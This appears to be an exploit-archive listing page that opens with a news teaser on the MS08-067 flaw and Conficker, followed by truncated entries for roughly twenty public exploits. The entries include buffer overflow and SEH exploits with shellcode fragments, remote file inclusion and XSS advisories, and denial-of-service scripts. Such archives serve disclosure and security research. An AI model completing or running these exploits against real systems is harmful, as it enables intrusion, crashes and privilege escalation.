From Gimmiv to Conficker: MS08-067 Under The Microscope

GENEVA — The critical MS08-067 vulnerability used by the Conficker worm to build a powerful botnet continues to be a lucrative security hole for cybercriminals. During a presentation at the Virus Bulletin 2009 conference here, a trio of Microsoft researchers dissected the malware attacks linked t...

Audio Workstation - .pls Local Buffer Overflow (SEH)

Audio Workstation - .pls Local Buffer Overflow SEH !/usr/bin/perl =gnk ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || ||...

Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit

html head !-- -- Quiksoft EasyMail 6 AddAttachment Remote Buffer Overflow Exploit -- -- Its old and the latest version doesn't support this method. -- I was bored and a similar post sparked my interest. -- -- Advisory: http://www.bmgsec.com.au/advisory/48/ -- -- Written by: -- bmgsec bmgsec at...

Quiksoft EasyMail 6.0.3.0 imap connect() ActiveX BOF Exploit

Exploit for windows platform in category remote exploits ============================================================ Quiksoft EasyMail 6.0.3.0 imap connect ActiveX BOF Exploit ============================================================ !-- I - TITLE Security advisory: Quiksoft EasyMail 6.0.3.0...

PaoBacheca 2.1 Cross Site Scripting

/ | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || PaoBacheca 2.1 Remote URI XSS Vulnerabilities Discovered By : Moudi Contact : Download : http://zenas.org Greetings : Mizoz, Zuka, str0ke,...

BigAnt Server 2.50 - GET Universal Remote Buffer Overflow (SEH)

!/usr/bin/python by hack4love BigAnt Server version 2.50 SEH Overwrite Universal discovered by Blake http://www.milw0rm.com/exploits/9673 Tested on Windows XP SP2 gratez to Blake use bigant.py 192.168.1.12 6660 import socket, sys if lensys.argv!= 3: print "\n Usage: %s \n" % sys.argv0 sys.exit0...

Aurora CMS 1.0.2 - 'install.plugin.php' Remote File Inclusion

--------------------------------------------------------------------------------------------------------------- Aurora Content Management System Enterprise Edition install.plugin.php = Remote File Include Vulnerability...

Windows Vista/7 SMB2.0 Negotiate Protocol Request Remote BSOD Vuln

Exploit for unknown platform in category dos / poc ================================================================== Windows Vista/7 SMB2.0 Negotiate Protocol Request Remote BSOD Vuln ================================================================== =============================================...

Audacity 1.2 Buffer Overflow

!/usr/bin/env python Audacity print " + Creating eviL .gro file..." buff = "\x44" 174 buff += "\xEB\x08\x90\x90" buff += "\x22\x23\x17\x01" buff += "\x90" 4 buff += "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x57\x30\x30\x54" this is the egg...

RM Downloader Stack Overflow

!/usr/bin/perl + Bug : RM Downloader .Ram/.Smi/ .pls/ .smil/ .wax/ .wpl File Local Stack Overflow + Author : theEdit0r + Greetz to all my friends + Tested on: Windows XP Pro SP2 + Big thnx: Expl0iters.ir Anti-security.ir 0012F920 |00168370 ASCII "AAAA" 0012F924 |41410004 0012F928 |41414141 0012F9...

IsolSoft Support Center 2.5 - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting

/ | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || IsolSoft Support Center 2.5 RFI/LFI/XSS Multiples Vulnerabilities Discovered By : Moudi Contact : Download : http://www.isolsoft.com/...

IsolSoft Support Center 2.5 (RFI/LFI/XSS) Multiples Vulnerabilities

No description provided by source. / | | \ \ / / | | \ \ / / | |\ \ /\ / / | | | | | | \ V /| | | \ V V / | | || | || / ||| // ,|, | |/ | | | |/ / | ' \ | | / | | | | | | | |||,|| || || IsolSoft Support Center 2.5 RFI/LFI/XSS Multiples Vulnerabilities Discovered By : Moudi Contact :...

IsolSoft Support Center 2.5 (RFI/LFI/XSS) Multiples Vulnerabilities

Exploit for unknown platform in category web applications =================================================================== IsolSoft Support Center 2.5 RFI/LFI/XSS Multiples Vulnerabilities =================================================================== / IsolSoft Support Center 2.5...

ImTOO MPEG Encoder 3.1.53 (.cue/.m3u) Local Buffer Overflow PoC

Exploit for unknown platform in category dos / poc =============================================================== ImTOO MPEG Encoder 3.1.53 .cue/.m3u Local Buffer Overflow PoC =============================================================== !/usr/bin/python print "ImTOO MPEG Encoder 3.1.53...

jetAudio 7.1.9.4030 Buffer Overflow

!/usr/bin/perl soft: jetAudio v 7.1.9.4030 plus vx .m3u universal buffer Overflow exploit SEH based on: HACK4LOVE http://www.milw0rm.com/exploits/9359 exploited by: germayax tested on: xp sp3 EN bug date: August 05 09 greetz: hack4love my $header = "http://"; win32exec - EXITFUNC=seh CMD=calc...

Blaze HDTV Player 6.0 (.PLF File) Local Buffer Overflow Exploit (SEH)

Exploit for unknown platform in category local exploits ===================================================================== Blaze HDTV Player 6.0 .PLF File Local Buffer Overflow Exploit SEH ===================================================================== !/usr/bin/perl by hack4love Blaze...

EPSON Status Monitor 3 Local Privilege Escalation Vulnerability

Exploit for unknown platform in category local exploits =============================================================== EPSON Status Monitor 3 Local Privilege Escalation Vulnerability =============================================================== ------- EPSON Status Monitor 3 local privilege...

EPSON Status Monitor 3 Privilege Escalation

------- EPSON Status Monitor 3 local privilege escalation vulnerability -------- by Nine:Situations:Group::bruiser site: http://retrogod.altervista.org/ -------------------------------------------------------------------------------- After that pyrokinesis found:...

stftp 1.10 - PWD Response Remote Stack Overflow (PoC)

stftp 1.10 - PWD Response Remote Stack Overflow PoC !/usr/bin/python stftp C: " + command else: print"S - C: " + command0:80 + " ..." self.s.sendcommand+'\r\n' def getCommandself, size=1024: ret = self.s.recvsize; if lenret S: " +ret else: print "C - S: " +ret0:80 + " ..." return ret def initself...

OpenH323 Opal SIP Protocol Remote Denial of Service Exploit

No description provided by source. !/usr/bin/env python OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability CVE-2007-4924 opal228dos.py by Jose Miguel Esparza 2007-10-08 S21sec labs import sys,socket if lensys.argv != 3: sys.exit"Usage: " + sys.argv0 + " targethost targetport\n"...